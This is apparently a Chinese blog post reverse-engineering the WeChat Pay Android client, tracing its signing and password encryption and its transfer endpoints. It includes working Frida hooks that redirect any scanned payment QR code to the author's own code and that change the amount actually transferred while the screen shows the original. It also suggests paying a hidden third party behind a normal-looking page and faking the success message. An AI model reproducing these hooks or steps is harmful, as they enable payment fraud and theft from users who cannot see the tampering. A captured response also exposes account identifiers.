wx支付流程以及加密的分析

本帖最后由 三年三班三井寿 于 2020-1-9 18:47 编辑

本贴仅供学习交流,请勿用作其他任何用途

19年底捣鼓了一阵wx协议,但没有相关资料所以摸索了挺久。后来找了一套旧版的协议源码,奈何支付协议是转不了帐的,所以自己就看了一下这个。而有了协议框架,我们只需要去看转账相关的组包逻辑。
准备:
分析工具:xp,frIDA,jadx,IDA               wx版本:都差不多,706,707,708都看过
首先开启wx的日志xlog,直接搜索

然后找到开关isLogcatOpen赋值的地方,修改第五个参数为1即可

当然也可以直接找其上层调用


[JavaScript] 纯文本查看 复制代码

        var XLOG=Java.use("com.tencent.mm.sdk.platformtools.ab");        //var StringClz=Java.use("java.lang.String");        XLOG.i.overload('java.lang.String', 'java.lang.String', '[Ljava.lang.Object;').implementation=function(s1,s2,s3){        if(s3==null){            console.log("i:"+s1+","+s2);        }else{            console.log("i:"+s1+","+s2+s3);        }            return this.i(arguments[0],arguments[1],arguments[2]);        }        XLOG.f.overload('java.lang.String', 'java.lang.String', '[Ljava.lang.Object;').implementation=function(s1,s2,s3){        if(s3==null){            console.log("f:"+s1+","+s2);        }else{            console.log("f:"+s1+","+s2+s3);        }            return this.f(arguments[0],arguments[1],arguments[2]);        }


微信组包以及加解密的so文件,LibMMProticalJni.so,其组包函数为pack

我们直接hook其Java层调用

[JavaScript] 纯文本查看 复制代码

   var MMProtocalJni=Java.use("com.tencent.mm.protocal.MMProtocalJni");[/color][/size][/color][/size][size=5][color=red][size=3][color=black]   MMProtocalJni.pack.implementation=function(){         console.log("MMpack:"+bytesToHex(arguments[0]));       return this.pack(arguments[0],arguments[1],arguments[2],arguments[3],arguments[4],arguments[5],arguments[6],arguments[7],arguments[8],arguments[9],arguments[10],arguments[11],arguments[12],arguments[13]);   }

首先我们扫付款码,这是之前用xp hook的日志,前面一些基本都是环境设备信息,deviceId,clientVersion之类的,和其他功能组包类似,我们所需要关注的是后面的字符串。明显的是transfer_url就是二维码的字串,进行了简单的编码。WCPaySign是本地计算出来的一个值,而WCPaySign以及channel之间还有一段序列特征,具体是啥也没深入研究,有知道的大佬可以告诉我一下。测试中有时会有encrypt_key以及encrypt_userinfo字段,具体也是由WCPaySign以及channel之间字段决定的。transfer_url是直接通过java库函数URLEncoder解析得到的:我们可以在这里替换用户扫描的二维码,使得对方不管扫什么码都会跳到我们自己的二维码上。比较简单的做法就是直接hook URLEncoder,通过收款码特征或者堆栈进行判断过滤,当然也可以自己重写这个w类构造,构造一个hashMap传入[JavaScript] 纯文本查看 复制代码

 URLEN.encode.overload("java.lang.String").implementation=function(str){        console.log("URLEN");        var res=this.encode(str);        var stack=instance.currentThread().getStackTrace();        var full_call_stack=where(stack);        return res.indexOf("wxp%3A%2F%2F")==0&&full_call_stack.indexOf("com.tencent.mm.plugin.remittance.model.w.<init>")?        "wxp%3A%2F%2Ff2f0NtReekKHV87BM0pY6k3TVjHlljtYL4sQ":res    }

不过如果这样做有一个问题,就是不管是扫谁的二维码,都会跳转到自己的付款页面。那么能不能实现,扫谁的码就出现给谁付款的页面,但实际转账却并不是给他转?换句话说就是页面上显示的一切都是正常的,但实际却转给了另一个人?当然是可以的,不过我们需要先进行模拟扫我们码的操作,然后获取到返回的openid,ticket等。之后在后面付款的时候将正常的这些字段替换成我们的就可以了。扯远了,下面进行定位,寻找WCPaySign的算法。调用堆栈如下,直接调用函数为com.tencent.mm.ak.t.a这个函数比较长,jadx反编译的有问题需要修改设置选项,也可以用jd直接查看调用位置接着找参数赋值的地方,由一个成员变量req实例化为l.b类型后,进行了序列化而req的初始化在t构造函的数中同样的方法hook其构造函数,调用堆栈如下
前两个不用看了,u的构造参数qVar.getReqObj也是t的构造参数,而u的构造是在com.tencent.mm.ak.m.dispatch中,构造参数是它的第二个参数q.getReqObj()的返回值。也是com.tencent.mm.wallet_core.c.u.dispatch的第二个参数
具体赋值的地方在com.tencent.mm.wallet_core.tenpay.model.m.doScene中的rr这里的rr,之前的q,以及最初的req,他们的类型其实都不一样。rr实际上是com.tencent.mm.wallet_core.tenpay.model.m所继承的父类的成员,该类也正是我们所需要找的,赋值的地方在setRequestData中的最后。在此之前,正是计算了WCPaySign。getEncryptUrl是q中一个抽象的方法,实现如下从名称看就是一个3DES(md5(str))的算法,实际上也确实如此其md5计算只是在Java层调用的标准库3DES算法Java层调用接口为encrypt,前一个参数是key,没有则默认除此之外,接口类q中提供了getUri接口,其返回值是post的cgi目录,在com.tencent.mm.wallet_core.c.u onGYNetEnd中的第四个参数传入了q的实例通过反射获取到post接口为/cgi-bin/mmpay-bin/transferscanqrcode接下来进入so层调用的so为libtenpay_utils.so,也是标准生成的C函数在encrypt中很容易发现默认密钥但用这key尝试了几种加密方式,结果都不正确可能并非标准的算法,看了一下置换表也没发现有什么变化,直接将其算法抠出来Des3Str就是分组加密函数,Des3进行了单个分组加密流程就是3DES的加密方式:EK3(Dk2(Ek1(P)))DES_Encode:代码太长就不贴了,当时用的IDA6.8,其反编译的还是多多少少有些坑的,现在用的7.0但也懒得去这部分反编译是不是一样的。注意内存结构就行,然后再用frida对so中的调用依次hook定位问题函数,动态调试即可。这里提一点,sub_D86C函数中反编译的代码中有很多__PAIR__,如果直接用网上ida头文件中的宏定义的话会有问题。而且这个问题并非语法问题,而是ida反编译得不够准确,只能通过调试或看反汇编解决仔细一点观察,就会发现其伪代码逻辑比较奇怪,实际汇编代码如下:可以将那句伪代码直接用x86内联汇编给替代了[Asm] 纯文本查看 复制代码

push eax;mov eax,r5;sub eax,1;sbb r5,eax;shl r5,1;mov eax,r5;mov v21,eax;pop eax;

其实稍作分析,其真实逻辑只是在判断r5是否为0,可以将伪代码改成:v21=(BYTE2(v49)&0x20)?2:0;到此,paysign算出的结果总算正确了。再通过有源码的协议进行封包发送及解包,可以获取到返回的各字段[C] 纯文本查看 复制代码

{{  "retcode": "0",  "retmsg": "",  "user_name": "wxid_7vf3tr41v3g921",  "true_name": "**鹏",  "fee": "0",  "desc": "",  "scene": "32",  "transfer_qrcode_id": "aOqTgOotZtAyyz2gsfUHWPV9hsUkxMEHkCVpM5OynlvT6Q2fy6Cwv1ffb7NLyPf9PNB-CY1mWSZW0YqQjo39TbJJWLdpPDnX2EROxb1aHTx1FKd6jqZf1wgFS98q0D32",  "rcvr_ticket": "Y4pH5nL20VA7CcRPboeyg-4PBk3ma7_U_vksGZzWTBYE4ioVEcz_v6PrG_ZS1QtY",  "get_pay_wifi": 1,  "receiver_openid": "oX2-vjvhwAutxXTxz85dJeSzzG-k",  "scan_scene": 1,  "favor_list": [],  "amount_remind_bit": 4}}

不过12月开始好像就不返回wxid了,也就是user_name返回的是空""类似的,在转账的时候,还有一个密码的算法,快速地说一下,还是一样的通过调用栈去找hook com.tencent.mm.plugin.wallet.pay.a.a.b构造密码是第一个参数authen的成员变量com.tencent.mm.plugin.wallet.pay.a.a.a同理也是一样con.tencent.mm.plugin.wallet.pay.a.a.e里有post地址,当然之前paysign里面那个hook也能获取到:再上一层调用:Authen为cZw()返回值密码通过成员变量hef进行赋值hef赋值的地方再往上找密码字串又找到一个字段vfo密码加密后字符串由getText()得到,具体是com.tencent.mm.wallet_core.ui.formview.c.a.a的返回值跟进去看到,payu和tenpay有两种返回值我们好友转账,扫码转账,包括708新加入的手机号转账走的都是tenpay,i大概是触发的类型,确定交易时是1,输入金额时是100,其实现部分当输入金额时,返回的就是输入的明文数字,其他类型会进行加密。实际上com.tencent.mm.wallet_core.ui.formview.WalletFormView以及com.tencent.mm.wallet_core.ui.formview.EditHintPasswdView的两个getText实现分别返回了输入的金额以及密此码明文,通过此可以修改转账金额,再将生成订单金额还原成之前的金额,即可控制实际转账金额[JavaScript] 纯文本查看 复制代码

        var WalletOpenViewProxyUI=Java.use("com.tencent.mm.wallet_core.ui.e");        var old="";        WalletOpenViewProxyUI.e.overload("double","java.lang.String").implementation=function(a1,a2){            //var uPn=Java.cast(Authen.class,clazz).getDeclaredField("uPn");            //uPn.setAccessible(true);            //send("uPn:"+uPn.get(a1));            if(a1==0.02)//显示原有金额                a1=Number(old) ;            var res=this.e(a1,a2);            send("a1:"+a1.toString()+",res:"+res);            var stack=instance.currentThread().getStackTrace();            var full_call_stack=where(stack);            //console.log(full_call_stack);            return res;        }        var wwww=Java.use("com.tencent.mm.wallet_core.ui.formview.WalletFormView");        wwww.getText.implementation=function(){            old=this.getText();            return "0.02";//设置实际转账金额        }


当然你有兴趣也可以把转账成功信息给改了,那么用户很可能都不清楚自己转账金额已经被篡改了,好像又扯远了。
我们继续分析加密函数getEncryptDataWithHash,另一个加密get3DesEncryptData不知是什么情况下进行的,getInputText()能获取到密码明文,紧接着会判断mlEncrypt有没有实现,该成员类型是一个接口类



具体实现在com.tenpay.android.wechat.TenpaySecureEncrypt.encryptPasswd,str就是传入的密码明文,先计算了一下md5。str2传入的是时间戳,时间戳是com.tenpay.android.wechat.TenpaySecureEditText的setSalt方法设置的

接下来进入so层还原其算法即可,算法为RSA2048。毕竟密码位数太短,取md5后也很容易被爆破,在加密之前还需要加盐,盐是时间戳以及随机数填充的。
代码太长也就不贴了,同样在IDA6.8中存在一些错误,提一点encrypt_pass1函数中有这三个变量取了同一个地址


然而事实并非这样,通过汇编可以看到在赋值前先抬高了sp,虽然每次都是取的var_6C位置,但前后栈顶已经不一样了:

也就是说只要操作sp的地方,伪代码都是有些问题的,比如这个else里面的v9=&res,res是传入的参数,这种逻辑一看就是有问题的:

通过反汇编看到这里也是通过sp去索引的变量,实际上sp已经抬高了三次,这里真实的索引不是参数res,而是在局部变量s中:

密码加密算法还原后我们就能模拟其支付协议了。不管是好友转账,扫码转账或者手机号转账最后都是需要req_key的,差不多就是个订单号的意思


好友转账可以通过CGI_TENPAY直接传对方wxid然后返回req_key,扫码比较麻烦些,之前WCPaySign那步获取到openid,ticket,qrcode_id等字段,再通过这些字段去生成订单走/cgi-bin/mmpay-bin/busif2fplaceorder获取到req_key。但在12月之前,扫码仍有wxid返回时,可以投机走旧版的协议/cgi-bin/micromsg-bin/tenpay,逻辑与之前setRequestData找的一样,大概就是将map中元素拼接成字符串,最后再计算一个paysign,而map中元素也就是扫码返回的数据
获取到req_key,最终完成转账操作,bank_type和bind_serial是绑定银行卡的类型id,都为CFT时使用零钱,获取bind_serial也很简单,这里就不讨论了。708新增的通过手机号转账也是分为三步,通过/cgi-bin/mmpay-bin/transferphonegetrcvr获取到openid等信息,再通过/cgi-bin/mmpay-bin/transferphoneplaceorder生成订单,获取到req_key,最后再由/cgi-bin/mmpay-bin/tenpay/sns_tf_authen确认订单完成转账。组包中的金额好像进行了一种序列化之类的操作,但还是很容易看得出来的,其算法我们可以自己实现:[C#] 纯文本查看 复制代码

        private int Pow(int x, int n)        {            int res = 1;            while (n > 0)            {                if ((n & 1) == 1) res = res * x;//转化为二进制                x = x * x;//将x平方                n >>= 1;            }            return res;        }        public string getFee(int money,bool isfirst=false,int sign=-1)        {            if (money < 0x80 && isfirst == true)                return String.Format("{0:X2}", money);            int i = 0;            int temp = (int)money;            while ((temp /= 0x80)>=1)                i++;//递归次数            if (isfirst == true) sign = i;            int pow= Pow(128, i);//128 i次方            int dwRes = (pow==1)? money:money/pow;            money = (pow == 1) ?0: money-dwRes * pow;            if (isfirst == false) dwRes += 0x80;            string res = String.Format("{0:X2}", dwRes);            return sign == 0?res: getFee(money, false, --sign)+res;        }

手机转账其实并没有分析很多,很多数据没有分析,只是写死的,但也是能实现手机转账的功能。太晚了不写了,其实也就初探了下微信支付的流程,加密的算法。当然后续还需要进一步的封包压缩加密,但这都有现成的协议代码。虽然wx是一款社交软件,但其加密强度目前来看也是很高的,但在本地上,我们仍能做很多有趣的事情,所以建议大家不要使用wx模块之类的插件


THE END
喜欢就支持以下吧
点赞0
分享
评论 抢沙发
  • 管埋员的头像-小北的自留地

    昵称

  • 取消
    昵称